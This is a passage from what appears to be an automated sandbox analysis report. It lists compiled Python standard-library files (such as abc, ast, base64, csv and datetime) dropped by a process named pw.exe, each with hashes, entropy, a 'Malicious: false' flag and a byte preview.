SSDEEP:	96:/enAZIr57c+SHmtPK4Q9XEf9j0K5ULIPmwPu7gKDNWuq4RqOndI:/eNNByEeIOQCDNWeRqOdI
MD5:	120A3275235298D7C43DA8AF6EE7DB24
SHA1:	32F11177DB03A31B26D29A58E527F48810BDD754
SHA-256:	5B32F450ED3E20274BB3F6BB9EB951D0E1F886F8952504B1731D8485F77F6F32
SHA-512:	044BE94319D497EA27ACC1116889AFE58ECBB3319C49BF5BEA4BF15404F42CDDDF2F50DED9F33F0662386BF5884089AAFF222E77AD77DF8E14E84F568A713900
Malicious:	false
Preview:	o.........Sg.........................@...sB...d.Z.d.d.l.Z.d.d.l.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.S.).z7Internal classes used by the gzip, lzma and bz2 modules.....Nc....................@...s0...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...BaseStreamz.Mode-checking helper functions.c....................C...s....\|.j.r.t.d.....d.S.).Nz.I/O operation on closed file)...closed..ValueError....self..r.....!C:\recover\pw\lib\_compression.py.._check_not_closed....s..........z.BaseStream._check_not_closedc....................C........\|.....s.t...d.....d.S.).Nz.File not open for reading)...readable..io..UnsupportedOperationr....r....r....r......_check_can_read...............z.BaseStream._check_can_readc....................C...r....).Nz.File not open for writing)...writabler....r....r....r....r....r......_check_can_write....r....z.BaseStream._check_can_writec....................C...s(...\|.....s.t...d.....\|.....s.t...d.....d.S.).Nz3Seeking is only supported on files open for read

C:\recover\pw\Lib\pycache\_sitebuiltins.cpython-310.pyc.29680528

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3545
Entropy (8bit):	5.058774249860524
Encrypted:	false
SSDEEP:	96:XsOn3ih9/uydg7ls3pl+ltJ5+XdaCjteUzCt/BHKGZEIy0EEt:Xs8ifcls3plwtJEXdaIeUzMJty0EG
MD5:	92E11B9D96C5121A4AF1DC6FD9CEF7DB
SHA1:	D977983CC081EDCBA0AA59F125204233CCC5782B
SHA-256:	713936B2CA3FCAF4B83C376B1EA485980DCF425E2C71689728AABC2AA88E0F41
SHA-512:	AB85A619F2F9D9DF75480DF97862831AC0417738C8DB4B3B9F64AC03E650F6A7539BED8F8CABFC1E5EF8D41B5CA943C133ECD7E90781F87BAEFDBE324D87B728
Malicious:	false
Preview:	o.........Sg.........................@...s@...d.Z.d.d.l.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).z=.The objects used by the site module to add custom builtins.......Nc....................@...s&...e.Z.d.Z.d.d...Z.d.d...Z.d.d.d...Z.d.S.)...Quitterc....................C...s....\|.\|._.\|.\|._.d.S...N....name..eof)...selfr....r......r....."C:\recover\pw\lib\_sitebuiltins.py..__init__....s........z.Quitter.__init__c....................C...s....d.\|.j.\|.j.f...S.).Nz.Use %s() or %s to exitr......r....r....r....r......__repr__....s......z.Quitter.__repr__Nc....................C...s&...z.t.j.......W.t.\|...........Y.t.\|.....r....)...sys..stdin..close..SystemExit).r......coder....r....r......__call__....s................z.Quitter.__call__r....)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r........s............r....c....................@...s6...e.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._Printerzninteractive prompt objects for printing the licens

C:\recover\pw\Lib\pycache\_weakrefset.cpython-310.pyc.38461648

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7606
Entropy (8bit):	4.599670974717664
Encrypted:	false
SSDEEP:	192:agoAAmOjav3ze0qLnKFHWpLiEEskjXoNizml+Ws2w13TvqcJlnqJEqBTgztqetKM:kAAbj236LTKF2pLiE3kjXoEzml+Ws2wV
MD5:	DD9D1C18651E57ADE40A76AC327D41BB
SHA1:	B489D67820185F05302C7DA80029B50974468836
SHA-256:	0E942DAD1AF84E09FF26BF5DD61827CE207F0C854D50BF6344AC76516904265A
SHA-512:	9D5E6C154AB3C5B5DACF8BDCFFC9589DC29D896ACEA5C3B070C37BD07B89AA42F62347719AEAA71E2312CB18B36BB2831C49B057565A0D88BD746679D5745BB0
Malicious:	false
Preview:	o.........Sg.........................@...s>...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.G.d.d...d...Z.G.d.d...d...Z.d.S.)..........ref)...GenericAlias..WeakSetc....................@...s$...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._IterationGuardc....................C...s....t.\|...\|._.d.S...N).r......weakcontainer)...selfr......r..... C:\recover\pw\lib\_weakrefset.py..__init__....s......z._IterationGuard.__init__c....................C...s ...\|.....}.\|.d.u.r.\|.j...\|.....\|.S.r....).r......_iterating..add).r......wr....r....r......__enter__....s............z._IterationGuard.__enter__c....................C...s8...\|.....}.\|.d.u.r.\|.j.}.\|...\|.....\|.s.\|.......d.S.d.S.d.S.r....).r....r......remove.._commit_removals).r......e..t..br......sr....r....r......__exit__....s....................z._IterationGuard.__exit__N)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r........s............r....c....................@...s&...e.Z.d.Z.d@d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d

C:\recover\pw\Lib\pycache\abc.cpython-310.pyc.23165712

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6749
Entropy (8bit):	5.115759246344479
Encrypted:	false
SSDEEP:	192:Dc2+dPAN6MGWUls1p2N8R6Diag2z9o2Ue4loXLk5ebUtoH:A2+dPZMGxYtag2VXLk5ewc
MD5:	CED38152B6BE26399E762A00AB4129D6
SHA1:	70238D29AC0EEB51EA975B78D73E572308029F4C
SHA-256:	EE5B7839E8CC06DFC9771E2DF22DCEC76137B9A21BFB069D2BE4A5260A3C04FF
SHA-512:	EC8D2B5107E94F9DCE7E0AF5B6B2FE5E902A545969C1830989F6CA108D733238D0B1AF5DE8BCCB4328496370B992876EB1512C95E2BA3FC67CF6A6D208CD2E32
Malicious:	false
Preview:	o.........Sg6........................@...s....d.Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...W.n...e.yH......d.d.l.m.Z.m.Z...d.e._.Y.n.w.G.d.d...d.e...Z.d.d...Z.G.d.d...d.e.d...Z.d.S.).z3Abstract Base Classes (ABCs) according to PEP 3119.c....................C...s....d.\|._.\|.S.).a<...A decorator indicating abstract methods... Requires that the metaclass is ABCMeta or derived from it. A. class that has a metaclass derived from ABCMeta cannot be. instantiated unless all of its abstract methods are overridden.. The abstract methods can be called using any of the normal. 'super' call mechanisms. abstractmethod() may be used to declare. abstract methods for properties and descriptors... Usage:.. class C(metaclass=ABCMeta):. @abstractmethod. def my_abstract_method(self, ...):. .... T)...__isabstractmethod__).Z.funcobj..r......C:\recover\pw\lib\abc.py..abstractmethod...

C:\recover\pw\Lib\pycache\ast.cpython-310.pyc.75659168

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	55737
Entropy (8bit):	5.277287570066156
Encrypted:	false
SSDEEP:	768:M4tQGlgD7UFM0gB2ze0GIHimylhWNbflS8rHKMAsSbUgUU0/9eKQddNhvDqIUy7w:M4+GlgD7UF4B2XNHehW7uVvuIlPgj
MD5:	2FC4DD78CAB96809A83E77137B070653
SHA1:	17FD6E74A4A98643BF6E486F64A8C6AFE290DF80
SHA-256:	BDE3F39008453799909D8C8DCBDC378860CAAA469FD47EDA32B6DA04D3987A02
SHA-512:	5A081B9E82C6055B7D40B494DEF37D32C7F28AB8B65272B81751EE1C46BE960B107BE39825F728AB97D084052F3960992DFCA6A5911666046BABC13055797B5D
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d`d.d.d...d.d...Z.d.d...Z.dad.d...d.d...Z.d.d...Z.d.d...Z.dbd.d...Z.d.d...Z.d.d...Z.dcd.d...Z.d.d ..Z.d!d"..Z.d.d#..d$d%..Z.d&d'..Z.G.d(d)..d)e...Z.G.dd+..d+e...Z.e.e.d,..s.d-d...Z.d/d0..Z.e.e.e...e._.e.e.e...e._.G.d1d2..d2e ..Z!d3d4..Z"G.d5d6..d6e.e!d7..Z#G.d8d9..d9e.e!d7..Z$G.d:d;..d;e.e!d7..Z%G.d<d=..d=e.e!d7..Z&G.d>d?..d?e.e!d7..Z'e#e(e)ef.e$e+f.e%e,f.e&e d...e-f.e'e d@..f.i.Z.e#e-f.i.Z/e-d=e d...d=e(d6e)d6e*d6e+d9e,d;e d@..d?i.Z0G.dAdB..dBe1..Z2G.dCdD..dDe2..Z3G.dEdF..dFe2..Z4e.e5dG....s"dHdI..Z6dJdK..Z7e.e6e7..e5_8G.dLdM..dMe9..Z:G.dNdO..dOe;..Z<G.dPdQ..dQe;..Z=G.dRdS..dSe;..Z>dTe?e.j@jAd.......ZBG.dUdV..dVe...ZCdWZDdXZEg.eD..eE..R.ZFG.dYdZ..dZe...ZGd[d\..ZHd]d^..ZIeJd_k...ryeI....d.S.d.S.)daH.... ast. ~~~.. The `ast` module helps Python applications to process trees of the Python. abstract syntax grammar. The abstract syntax itself might change with. each Python re

C:\recover\pw\Lib\pycache\base64.cpython-310.pyc.29826208

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17160
Entropy (8bit):	5.493484129141197
Encrypted:	false
SSDEEP:	192:7ZvQ1Nayn9wBqXY71hITEOtuAk8CUSSYkXJ20RQa83hg9M6o0RzuQcT/zlNaf63V:dgay9wgo71hITOtHYP9M70xuzRNi63V3
MD5:	C49BFA0BB97BBE51993CB019C81C0C17
SHA1:	DEEF0FF2D271A8A76C0160591F79D3503C8BB6E7
SHA-256:	E69069485C46D2901455A0BBFE12E618D0360DAA5CF7E69253183251C9B46863
SHA-512:	B860607E26E0823848126B0434EC640F25D28F12079AFC50FE91E8CE3E0FE25264BD50497312EA21FD1AB174A24C21B6344D09AF2B1E4634E464BA478BC4A130
Malicious:	false
Preview:	o.........Sg.S.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.e.e.f.Z.d.d...Z.dQd.d...Z.dRd.d...Z.d.d...Z.d.d...Z.e...d.d...Z.e...d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.i.a.i.a.d.d...Z.dSd.d...Z.d.d...Z.e.j.d d!..e._.dSd"d#..Z.e.j.d e.d$..e._.d%d&..Z.e.j.d'd!..e._.dTd(d)..Z.e.j.d'dd$..e._.d+d,..Z dTd-d...Z!d.a"d.a#d/Z$d0Z%dUd1d2..Z&d.d.d.d.d3..d4d5..Z'd.d.d6d7..d8d9..Z(d:Z)d.ad.a+d.a,dTd;d<..Z-d=d>..Z.d?Z/e/d@..dA..Z0dBdC..Z1dDdE..Z2dFdG..Z3dHdI..Z4dJdK..Z5dLdM..Z6dNdO..Z7e8dPk.r.e6....d.S.d.S.)VzDBase16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings.....N)...encode..decode..encodebytes..decodebytes..b64encode..b64decode..b32encode..b32decode..b32hexencode..b32hexdecode..b16encode..b16decode..b85encode..b85decode..a85encode..a85decode..standard_b64encode..standard_b64decode..urlsafe_b64encode..urlsafe_b64decodec....................C...sl...t.\|.t...r.z.\|...d...W.S...t.y.......t.d.....w.t.\|.t...r.\|.S.z.t.\|.......W.S...t.y5......t.d.\|.j.j.....d...

C:\recover\pw\Lib\pycache\bisect.cpython-310.pyc.38640640

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2586
Entropy (8bit):	5.195411064362436
Encrypted:	false
SSDEEP:	48:3ChwHaPJ7Bn7V3GEOCl7VU3OpOBn7B3wCLnCRl7VC39eV:3Ch7Bx3GEOC03OpOB93wGCRi34V
MD5:	EB4D30D48B0FFBD41A242889573B0167
SHA1:	1E281209E00CFDA9F945425EC7921E83CAEBC8CD
SHA-256:	C8C4617CC0F03ACF6602DAD11E72E10DF9714B52C58A98843586EC5061C714A8
SHA-512:	EE9232AF25A015E4A6CEDA0FFED53F66469F55AA2CFC5FD8819AB0F7EFE443BF1773C419664B7A79E8BF5D585AA20EF660E6F36A6D3BB360EE7BDC6EA828243D
Malicious:	false
Preview:	o.........Sg.........................@...sp...d.Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.z.d.d.l.T.W.n...e.y1......Y.n.w.e.Z.e.Z.d.S.).z.Bisection algorithms......N....keyc....................C....>...\|.d.u.r.t.\|.\|.\|.\|...}.n.t.\|.\|.\|...\|.\|.\|.d...}.\|...\|.\|.....d.S.).z.Insert item x in list a, and keep it sorted assuming a is sorted... If x is already in a, insert it to the right of the rightmost x... Optional args lo (default 0) and hi (default len(a)) bound the. slice of a to be searched.. Nr....)...bisect_right..insert....a..x..lo..hir......r......C:\recover\pw\lib\bisect.py..insort_right....s............r....c....................C...s....\|.d.k.r.t.d.....\|.d.u.r.t.\|...}.\|.d.u.r1\|.\|.k.r/\|.\|...d...}.\|.\|.\|...k.r'\|.}.n.\|.d...}.\|.\|.k.s.\|.S.\|.\|.k.rN\|.\|...d...}.\|.\|.\|.\|.....k.rF\|.}.n.\|.d...}.\|.\|.k.s5\|.S.).a....Return the index where to insert item x in list a, assuming a is sorted... The return value i is such that all e in a[:i] have e <= x, and all e i

C:\recover\pw\Lib\pycache\bz2.cpython-310.pyc.33482336

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10868
Entropy (8bit):	5.268622498599363
Encrypted:	false
SSDEEP:	192:G6Eb2RLbRaQHzW6FVoDCGEUPIzSh/NHSN:bRLbRLpGPIzG/NyN
MD5:	E205A3C71AC059A59AB84D4F8357E69E
SHA1:	F33F5E6DA791186BAB42EED3FC7BE5BE320A9BAC
SHA-256:	B13AADFDF18C334FE8A29BCEA1A987DA4DCFE98E3CC08CF5534BE9A4838AEC18
SHA-512:	62C48116FF5CEE11D9CD1B80EB3BACF3EDD041C28E005FEA0EA204D6B20569FAE666355CF80973165A49B267723D342EFFC4B06302791931283E8D411A42A899
Malicious:	false
Preview:	o.........Sg./.......................@...s....d.Z.g.d...Z.d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.....d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z.Interface to the libbzip2 compression library...This module provides a file interface, classes for incremental.(de)compression, and functions for one-shot (de)compression..)...BZ2File..BZ2Compressor..BZ2Decompressor..open..compress..decompressz%Nadeem Vawda <nadeem.vawda@gmail.com>.....).r....N).r....r..............c....................@...s....e.Z.d.Z.d.Z.dd.d...d.d...Z.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d+d.d...Z.d,d.d...Z.d,d.d...Z.d.d...Z.d,d.d...Z.d,d.d ..Z.d!d"..Z.d#d$..Z.e.j.f.d%d&..Z.d'd(..Z.d)S.)-r....a@...A file object providing transparent bzip2 (de)compression... A BZ2File can act as a wrapper for an existing file object, or refer. directly to a named file on disk... Note that BZ2File provides a binary* file interface - data read is. returned as bytes, and data t

C:\recover\pw\Lib\pycache\calendar.cpython-310.pyc.39028640

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	26301
Entropy (8bit):	5.2297198798688544
Encrypted:	false
SSDEEP:	768:+DfNsz3TQClly8bR9PS3q4Rh1mcMjscrtKXN:+JmHS3qF2itKXN
MD5:	A5189BCC149823671CD277538DFF6510
SHA1:	3B4B4D5FF7B808D81E381DC0C9729C6A88A94D37
SHA-256:	C79F92AA51C441B59C2AAF17941FB197E79DEFDF8B90F8B66E7A4EB963761476
SHA-512:	FF6C13E272A1BAAA05168A58C6A4C20467C36C848EC277C2F41C8C3437A6A4DB062855D4B924192609793C020E4CF74BDD56CD54B47983E4C5DAE967C1D4069E
Malicious:	false
Preview:	o.........Sg.b.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...g.d...Z.e.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.Z.d.Z.g.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...\.Z.Z.Z.Z.Z.Z.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d ..Z"d!d"..Z#G.d#d$..d$e$..Z%G.d%d&..d&e%..Z&G.d'd(..d(e%..Z'G.d)d..d..Z(G.d+d,..d,e&..Z)G.d-d...d.e'..Z*e&..Z+e+j,Z-d/d0..Z.e+j/Z0e+j1Z1e+j2Z3e+j4Z5e+j6Z6e+j7Z8e+j9Z:e+j;Z<d1Z=d2Z>e=e>f.d3d4..Z?e=e>f.d5d6..Z@d7ZAe..BeAd.d....C..ZDd8d9..ZEd:d;..ZFeGd<k.r.eFe.jH....d.S.d.S.)=a$...Calendar printing functions..Note when comparing these calendars to the ones printed by cal(1): By.default, these calendars have Monday as the first day of the week, and.Sunday as the last (the European convention). Use setfirstweekday() to.set the first day of the week (0=Monday, 6=Sunday)......N)...repeat)...IllegalMonthError..IllegalWeekdayError..setfirstweekday..firstweekday..isleap..leapdays..weekday..monthrange..monthcalendar..prmonth..m

C:\recover\pw\Lib\pycache\codecs.cpython-310.pyc.23164832

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	33217
Entropy (8bit):	5.020022477628064
Encrypted:	false
SSDEEP:	768:N//o6wZxokNQceWYXgYD7msLySGRbmOZwENNflPKPBxKa:NRUkFrOZwENNflPKPBxKa
MD5:	95D9863FA869929C050125DA6B8CDAE7
SHA1:	F60C32E80B084CBB8C2DB7DB85DC831407AB5CAE
SHA-256:	987849A43EFCB5C63D40735350FE36AC4F200F7E7978EAF762A2FAEB4CC24AE3
SHA-512:	E7F47276510F9074B56DC64A864C0EF4D26326ED3C4939F7298CE0E4E10637F852E42B21A9CEA12FC54641A8419D4A172B8EB57345780C620FD1B93DCB7EF67C
Malicious:	false
Preview:	o.........Sg........................@...sD...d.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.T.W.n...e.y"..Z...z.e.d.e.......d.Z.[.w.w.g.d...Z.d.Z.d...Z.Z.d...Z.Z.d.Z.d.Z.e.j.d.k.rAe...Z.Z.e.Z.n.e...Z.Z.e.Z.e.Z.e.Z.e.Z.e.Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z G.d.d...d...Z!G.d.d...d...Z"dCd#d$..Z#dDd%d&..Z$d'd(..Z%d)d..Z&d+d,..Z'd-d...Z(d/d0..Z)d1d2..ZdEd3d4..Z+dEd5d6..Z,d7d8..Z-d9d:..Z.z.e/d!..Z0e/d;..Z1e/d<..Z2e/d=..Z3e/d>..Z4e/d?..Z5W.n...e6y.......d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5Y.n.w.d.Z7e7..r.d.d.l8Z8e9d@k...r e$e.j:dAdB..e._:e$e.j;dBdA..e._;d.S.d.S.)Fz. codecs -- Python Codec Registry, API and helpers....Written by Marc-Andre Lemburg (mal@lemburg.com)...(c) Copyright CNRI, All Rights Reserved. NO WARRANTY........N)...*z%Failed to load the builtin codecs: %s),..register..lookup..open..EncodedFile..BOM..BOM_BE..BOM_LE..BOM32_BE..BOM32_LE..BOM64_BE..BOM64_LE..BOM_UTF8..BOM_UTF16..BOM_UTF16_LE..BOM_UTF16_BE..BOM_UTF32..

C:\recover\pw\Lib\pycache\contextlib.cpython-310.pyc.33511168

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	20893
Entropy (8bit):	5.080662455453525
Encrypted:	false
SSDEEP:	384:nrNHbNxImphzxb/Dqd89tiVqnWcxavd5VCqXfNnpJ:rNHbNxhzpqd2OqnWvQAFf
MD5:	8DE5716A12952F35233B860317781B93
SHA1:	B10B26E3F35AB6F8232749F05EC589E1578B31EB
SHA-256:	6C567E19F2F8E60837675DFB72717BF59AA0B76A7B2DEB282FAD01C808E9A761
SHA-512:	515B228C5DF315DA515A1D75CB806529B35A1D0B857D11A83360C48977AFAFE531EB45697EF102EF902563D3A6B28BABAB1497B1FF1C720EE38CC86CB6E11AA6
Malicious:	false
Preview:	o.........Sg.h.......................@...s~...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e.e.e...Z.G.d.d...d.e.e.e...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e...Z.G.d!d"..d"e...Z.G.d#d$..d$e...Z.G.d%d&..d&..Z.G.d'd(..d(e.e...Z.G.d)d..de.e...Z.G.d+d,..d,e.e...Z d.S.)-z4Utilities for with-statement contexts. See PEP 343......N)...deque....wraps)...MethodType..GenericAlias)...asynccontextmanager..contextmanager..closing..nullcontext..AbstractContextManager..AbstractAsyncContextManager..AsyncExitStack..ContextDecorator..ExitStack..redirect_stdout..redirect_stderr..suppress..aclosingc....................@....:...e.Z.d.Z.d.Z.e.e...Z.d.d...Z.e.j.d.d.....Z.e.d.d.....Z.d.S.).r....z,An abstract base class for context managers.c....................C........\|.S...z0Return `self` upon entering the runtime context.......selfr....r......C:

C:\recover\pw\Lib\pycache\copy.cpython-310.pyc.66022720

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6994
Entropy (8bit):	5.41143649326355
Encrypted:	false
SSDEEP:	192:hxPakDZxS5GhVc3isTDOuyib91quyccWEQTidqf2hMQkNv4n5q:7a0/S5GjcR/Iib9wEREkidQ2Ov4k
MD5:	D18DA1DD32D44F38BC32D80FD25C7F82
SHA1:	99CFBA8201CF0C6C0225F793CD636492EE411FD7
SHA-256:	3580B6CDD519F29B7EEEEBCCDD926BC6FA3C6F25CF8293CBD58D8AEE63DA1CF1
SHA-512:	241F7D9A691329E1FECFAB93606BF2D74B8CE3EFC37C8541452E54DB62408456F2E8101479CED334634F8998018A5045324957ACE8B61D681F52377253D823F7
Malicious:	false
Preview:	o.........Sg.#.......................@...sV...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...G.d.d...d.e...Z.e.Z.z.d.d.l.m.Z...W.n...e.y-......d.Z.Y.n.w.g.d...Z.d.d...Z.i...Z.Z.d.d...Z.e.d...e.e.e.e.e.e.e.e.e.e.e.e.e.j.e.e...e.e...e.j.e.j f.D.].Z!e.e.e!<.q[e"e.d.d...Z!e!d.u.rpe.e.e!<.e#j.e.e#<.e$j.e.e$<.e%j.e.e%<.e&j.e.e&<.e.d.u.r.e.j.e.e.<.[.[!d.g.f.d.d...Z'i...Z(Z.d.d...Z)e)e.e.d...<.e)e.e.e...<.e)e.e.e...<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.j*<.e)e.e.<.e)e.e.<.e)e.e.j.<.e)e.e.j.<.e)e.e.j <.e)e.e.<.e'f.d.d...Z+e+e.e#<.e'f.d.d...Z,e,e.e.<.e'f.d.d...Z-e-e.e$<.e.d.u...r.e-e.e.<.d.d...Z.e.e.e.j/<.[.d.d...Z0..d.e'd...d.d...Z1[.[.[.d.S.).a....Generic (shallow and deep) copying operations...Interface summary:.. import copy.. x = copy.copy(y) # make a shallow copy of y. x = copy.deepcopy(y) # make a deep copy of y..For module specific errors, copy.Error is raised...The difference between shallow and deep copying is only relevant for.compound objects (object

C:\recover\pw\Lib\pycache\copyreg.cpython-310.pyc.32046880

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4681
Entropy (8bit):	5.290745809828144
Encrypted:	false
SSDEEP:	96:+qCI7QMLHGjZv9X1XBrxbbJz0uqhUaCWfqmb5p2LYHjmTrhqH3TpYXGP2:+AvHGVBrpb56eWfhqLYHjmTkH3TpY2P2
MD5:	7791D842D703C940DCA85F700572040E
SHA1:	137B1F6873E90D6B806B00320B1AE8E64C20FF57
SHA-256:	E39E4F7F18B0A20A2A4BD6FC673308AD263A2DAE427D690182FFB613D7749AF0
SHA-512:	CC778462D4EE4D2515C05026EF769F855C39FEBF3C63CD04C0E954CD66BBBCED9D83F7FB66DDA8796B92FB230810D7C9B8DB0B90D32CE91E6264F813A4CA1ABC
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.i.Z.d.d.d...Z.d.d...Z.z.e...W.n...e.y.......Y.n.w.d.d...Z.e.e.e.e.....d.d...Z.e.e.e.e.B...e.....d.d...Z.d.Z.e.e.j...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.i.Z.i.Z.i.Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z.Helper to provide extensibility for pickle...This is only useful to add pickle support for extension types defined in.C, not for instances of user-defined classes..)...pickle..constructor..add_extension..remove_extension..clear_extension_cacheNc....................C...s0...t.\|...s.t.d.....\|.t.\|.<.\|.d.u.r.t.\|.....d.S.d.S.).Nz$reduction functions must be callable)...callable..TypeError..dispatch_tabler....).Z.ob_typeZ.pickle_functionZ.constructor_ob..r......C:\recover\pw\lib\copyreg.pyr........s................r....c....................C...s....t.\|...s.t.d.....d.S.).Nz.constructors must be callable).r....r....)...objectr....r....r....r........s..........r....c....................C...s....t.\|.j.\|.j.f.f.S...N)...complex..real..imag)...cr....r

C:\recover\pw\Lib\pycache\csv.cpython-310.pyc.65418208

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	11796
Entropy (8bit):	5.44170498375322
Encrypted:	false
SSDEEP:	192:yJq1+B25hSIQIWWvBMKumwKZdlXiWQA3LYPqOW9PJFoKzckOMsj9XCCDH:yJqfLSIQ2OKuuZrXiWQA0shzJaYWH
MD5:	95778C70037E17E564C7B36FE929DEA7
SHA1:	70D266B68E81AAC81ED07B8892B52FC28484519A
SHA-256:	5C0537561E5C45DBA9ABAA71F5061EB80320D524C46B6A06BA02C8D7411145F5
SHA-512:	2F2B402607DDACC96F1D9AA02329ED061EBF0D940954625CD0E13E392BD35E3035B588DBC3DE0BEED7F4A860F934C00DC454A0D6A4FE5B98138D99FA3096C3B6
Malicious:	false
Preview:	o.........SgZ@.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.e.d.e.....G.d.d...d.e...Z.e.d.e.....G.d.d...d.e...Z.e.d.e.....G.d.d...d...Z.G.d.d...d...Z.z.e...W.n...e.y.......e.Z.Y.n.w.G.d.d...d...Z.d.S.).z+.csv.py - read/write/investigate CSV files......N)...Error..__version__..writer..reader..register_dialect..unregister_dialect..get_dialect..list_dialects..field_size_limit..QUOTE_MINIMAL..QUOTE_ALL..QUOTE_NONNUMERIC..QUOTE_NONE..__doc__)...Dialect)...StringIO).r....r....r....r....r....r....r......excel..excel_tabr....r....r....r....r....r......Snifferr....r......DictReader..DictWriter..unix_dialectc....................@...sD...e.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.).r....z.Describe a CSV dialect... This must be subclassed (see csv.excel). Valid attributes are:. delimiter, quotechar, escapechar, doublequote, skipinitialspace,.

C:\recover\pw\Lib\pycache\datetime.cpython-310.pyc.33482336

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	56531
Entropy (8bit):	5.255440254224156
Encrypted:	false
SSDEEP:	1536:5oPKIiu2u56NzkciJO4yM+AW89jpDhAV25hOsJ6raf:5Wkr8b
MD5:	A0E7CC8EE8C9DDB81CAB24DF11C29D78
SHA1:	D296AF122471B37CC816F14418499B14AC75B20C
SHA-256:	B0F97D4A16D2AE41C7B224261A9F77F152A8E5B327B93A0611C2484AD3F029E5
SHA-512:	A4164B5F660AAFCD9B94FB41D58B67892A6ACCD097C8676E28816CF7551C6E7C09D6C6662B1208A87EB83AAD06C53B29B935B848EB420F7250B203294AAE0B08
Malicious:	false
